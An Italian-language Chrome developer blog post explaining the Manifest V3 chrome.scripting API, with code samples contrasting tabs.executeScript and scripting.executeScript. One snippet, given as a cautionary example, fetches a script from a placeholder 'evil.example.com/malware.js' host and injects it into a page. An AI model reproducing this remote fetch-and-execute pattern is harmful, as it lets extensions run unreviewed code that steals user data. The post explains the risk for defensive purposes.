Novità: chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 introduce una serie di modifiche alla piattaforma delle estensioni di Chrome. In questo post esploreremo le motivazioni e le modifiche introdotte da una delle modifiche più importanti: l'introduzione dell'API chrome.scripting.

Che cos'è chrome.scripting?

Come suggerisce il nome, chrome.scripting è un nuovo spazio dei nomi introdotto in Manifest V3 responsabile delle funzionalità di inserimento di script e stili.

Gli sviluppatori che hanno creato estensioni di Chrome in passato potrebbero avere familiarità con i metodi Manifest V2 nell'API Tabs, ad esempio chrome.tabs.executeScript e chrome.tabs.insertCSS. Questi metodi consentono alle estensioni di iniettare script e stile nelle pagine. In Manifest V3, queste funzionalità sono state spostate inchrome.scripting e prevediamo di espandere questa API con alcune nuove funzionalità in futuro.

Perché creare una nuova API?

Con un cambiamento come questo, una delle prime domande che si pongono è: "perché?".

Diversi fattori hanno portato il team di Chrome a decidere di introdurre un nuovo spazio dei nomi per gli script. Innanzitutto, l'API Tabs è un po' una cassetta degli attrezzi per le funzionalità. In secondo luogo, dovevamo apportare modifiche all'API executeScript esistente. Terzo, sapevamo che volevamo espandere le funzionalità di scripting per le estensioni. Insieme, questi problemi hanno definito chiaramente la necessità di un nuovo spazio dei nomi per ospitare le funzionalità di scripting.

La cassetta degli attrezzi

Uno dei problemi che affligge il team di Estensioni negli ultimi anni è che l'chrome.tabs API è sovraccaricata. Quando questa API è stata introdotta per la prima volta, la maggior parte delle funzionalità fornite era correlata al concetto generale di una scheda del browser. Anche in quel momento, però, era un po' un miscuglio di funzionalità e nel corso degli anni questa raccolta è cresciuta.

Al momento del rilascio della versione 3 di Manifest, l'API Tabs era cresciuta fino a coprire la gestione di base delle schede, la gestione delle selezioni, l'organizzazione delle finestre, i messaggi, il controllo dello zoom, la navigazione di base, la scrittura di script e alcune altre funzionalità minori. Sebbene siano tutti importanti, possono essere un po' travolgenti per gli sviluppatori quando iniziano e per il team di Chrome che gestisce la piattaforma e prende in considerazione le richieste della community di sviluppatori.

Un altro fattore che complica la situazione è che l'autorizzazione tabs non è ben compresa. Mentre molte altre autorizzazioni limitano l'accesso a una determinata API (ad es. storage), questa autorizzazione è un po' insolita in quanto concede all'estensione l'accesso solo a proprietà sensibili sulle istanze Tab (e per estensione interessa anche l'API Windows). Comprensibilmente, molti sviluppatori di estensioni ritengono erroneamente di aver bisogno di questa autorizzazione per accedere a metodi nell'API Tabs come chrome.tabs.create o, più germanmente, chrome.tabs.executeScript. Rimuovere le funzionalità dall'API Tabs aiuta a chiarire parte di questa confusione.

Modifiche che provocano un errore

Durante la progettazione di Manifest V3, uno dei principali problemi che volevamo risolvere sono quelli relativi ad abusi e malware abilitati da "codice ospitato in remoto", ossia codice che viene eseguito, ma non incluso nel pacchetto di estensione. È comune per gli autori di estensioni illecite eseguire script recuperati da server remoti per rubare i dati degli utenti, iniettare malware ed eludere il rilevamento. Anche i buoni attori utilizzano questa funzionalità, ma alla fine abbiamo ritenuto che fosse troppo pericoloso lasciarla così com'era.

Esistono un paio di modi diversi in cui le estensioni possono eseguire codice non bundle, ma il più pertinente è il metodo chrome.tabs.executeScript Manifest V2. Questo metodo consente a un'estensione di eseguire una stringa di codice arbitraria in una scheda di destinazione. A sua volta, ciò significa che uno sviluppatore dannoso può recuperare uno script arbitrario da un server remoto ed eseguirlo all'interno di qualsiasi pagina a cui può accedere l'estensione. Sapevamo che per risolvere il problema del codice remoto avremmo dovuto rilasciare questa funzionalità.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Volevamo inoltre risolvere altri problemi più sottili relativi al design della versione Manifest V2 e rendere l'API uno strumento più raffinato e prevedibile.

Anche se avremmo potuto cambiare la firma di questo metodo all'interno dell'API Tabs, abbiamo ritenuto che tra queste modifiche che provocano un errore e l'introduzione di nuove funzionalità (trattate nella prossima sezione), una pausa pulita sarebbe stata più facile per tutti.

Espansione delle funzionalità di scripting

Un'altra considerazione che ha contribuito alla procedura di progettazione di Manifest V3 è stata la volontà di introdurre funzionalità di scripting aggiuntive nella piattaforma di estensioni di Chrome. Nello specifico, volevamo aggiungere il supporto per gli script di contenuti dinamici e ampliare le funzionalità del metodo executeScript.

Il supporto degli script di contenuti dinamici è una richiesta di funzionalità da tempo presente in Chromium. Al momento, le estensioni di Chrome Manifest V2 e V3 possono dichiarare in modo statico gli script di contenuti solo nel file manifest.json; la piattaforma non fornisce un modo per registrare nuovi script di contenuti, modificare la registrazione degli script di contenuti o annullarne la registrazione in fase di esecuzione.

Sebbene sapessimo che volevamo risolvere questa richiesta di funzionalità in Manifest 3, nessuna delle nostre API esistenti sembrava la sede giusta. Abbiamo anche preso in considerazione l'allineamento con Firefox per la sua API Content Scripts, ma fin dall'inizio abbiamo identificato un paio di importanti svantaggi di questo approccio. Innanzitutto, sapevamo che avremmo avuto firme incompatibili (ad es. il ritiro del supporto per la proprietà code ). In secondo luogo, la nostra API aveva un insieme diverso di vincoli di progettazione (ad es. la necessità di una registrazione per durare oltre il ciclo di vita di un service worker). Infine, questo spazio dei nomi ci insegnerebbe anche alla funzionalità di script dei contenuti, laddove stiamo pensando di creare script nelle estensioni in modo più ampio.

Per quanto riguarda executeScript, volevamo anche espandere le funzionalità di questa API oltre quelle supportate dalla versione dell'API Tabs. Nello specifico, volevamo supportare funzioni e argomenti, scegliere più facilmente come target frame specifici e contesti non "tab".

In futuro, stiamo anche valutando come le estensioni possano interagire con le PWA installate e con altri contesti che concettualmente non corrispondono a "schede".

Modifiche tra tabs.executeScript e scripting.executeScript

Nel resto di questo post, vedremo più da vicino le somiglianze e le differenze tra chrome.tabs.executeScript e chrome.scripting.executeScript.

Iniezione di una funzione con argomenti

Nel valutare come la piattaforma avrebbe dovuto evolversi alla luce delle limitazioni relative al codice ospitato in remoto, volevamo trovare un equilibrio tra la potenza bruta dell'esecuzione di codice arbitrario e la possibilità di consentire solo script di contenuti statici. La soluzione che abbiamo trovato è stata consentire alle estensioni di iniettare una funzione come script di contenuti e di passare un array di valori come argomenti.

Vediamo un breve esempio (semplificato). Supponiamo di voler iniettare uno script che saluti l'utente per nome quando fa clic sul pulsante di azione dell'estensione (icona nella barra degli strumenti). In Manifest V2, potremmo costruire in modo dinamico una stringa di codice ed eseguire lo script nella pagina corrente.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Sebbene le estensioni Manifest V3 non possano utilizzare codice non incluso nell'estensione, il nostro obiettivo era preservare parte del dinamismo consentito dai blocchi di codice arbitrari per le estensioni Manifest V2. L'approccio basato su funzioni e argomenti consente ai revisori, agli utenti e alle altre parti interessate del Chrome Web Store di valutare con maggiore precisione i rischi derivanti da un'estensione, consentendo al contempo agli sviluppatori di modificare il comportamento di runtime di un'estensione in base alle impostazioni utente o allo stato dell'applicazione.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Frame di targeting

Volevamo anche migliorare il modo in cui gli sviluppatori interagiscono con i frame nella nuova API. La versione Manifest V2 di executeScript consentiva agli sviluppatori di scegliere come target tutti i frame in una scheda o un frame specifico nella scheda. Puoi utilizzare chrome.webNavigation.getAllFrames per visualizzare un elenco di tutti i frame in una scheda.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3, abbiamo sostituito la proprietà intera facoltativa frameId nell'oggetto opzioni con un array facoltativo frameIds di numeri interi. Questo consente agli sviluppatori di scegliere come target più frame in una singola chiamata API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Risultati dell'iniezione di script

Abbiamo anche migliorato il modo in cui restituiamo i risultati dell'iniezione di script in Manifest 3. Un "risultato" è principalmente l'istruzione finale valutata in uno script. Pensalo come il valore restituito quando eval() o esegui un blocco di codice nella console di Chrome DevTools, ma serializzato per trasmettere i risultati tra i processi.

In Manifest V2, executeScript e insertCSS restituivano un array di risultati di esecuzione semplici. Questo è accettabile se hai un solo punto di inserimento, ma l'ordine dei risultati non è garantito quando lo inserisci in più frame, quindi non c'è modo di sapere quale risultato è associato a quale frame.

Per un esempio concreto, diamo un'occhiata agli array results restituiti da un file Manifest V2 e da una versione Manifest V3 della stessa estensione. Entrambe le versioni dell'estensione inietteranno lo stesso script di contenuti e confronteremo i risultati nella stessa pagina demo.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Quando eseguiamo la versione Manifest V2, riceviamo un array di [1, 0, 5]. Quale risultato corrisponde al frame principale e quale all'iframe? Il valore restituito non lo dice, quindi non lo sappiamo con certezza.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Nella versione Manifest V3, results ora contiene un array di oggetti risultato anziché un array di soli risultati di valutazione. Gli oggetti risultato identificano chiaramente l'ID del frame per ogni risultato. In questo modo è molto più facile per gli sviluppatori utilizzare il risultato e agire su un frame specifico.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusione

I picchi delle versioni di Manifest rappresentano una rara opportunità per ripensare e modernizzare le API delle estensioni. Il nostro obiettivo con Manifest V3 è migliorare l'esperienza utente finale rendendo le estensioni più sicure e allo stesso tempo migliorare l'esperienza degli sviluppatori. Con l'introduzione di chrome.scripting in Manifest V3, siamo stati in grado di aiutare a ripulire l'API Tabs, a reinventare executeScript per una piattaforma di estensioni più sicura e a gettare le basi per nuove funzionalità di script che saranno disponibili entro la fine dell'anno.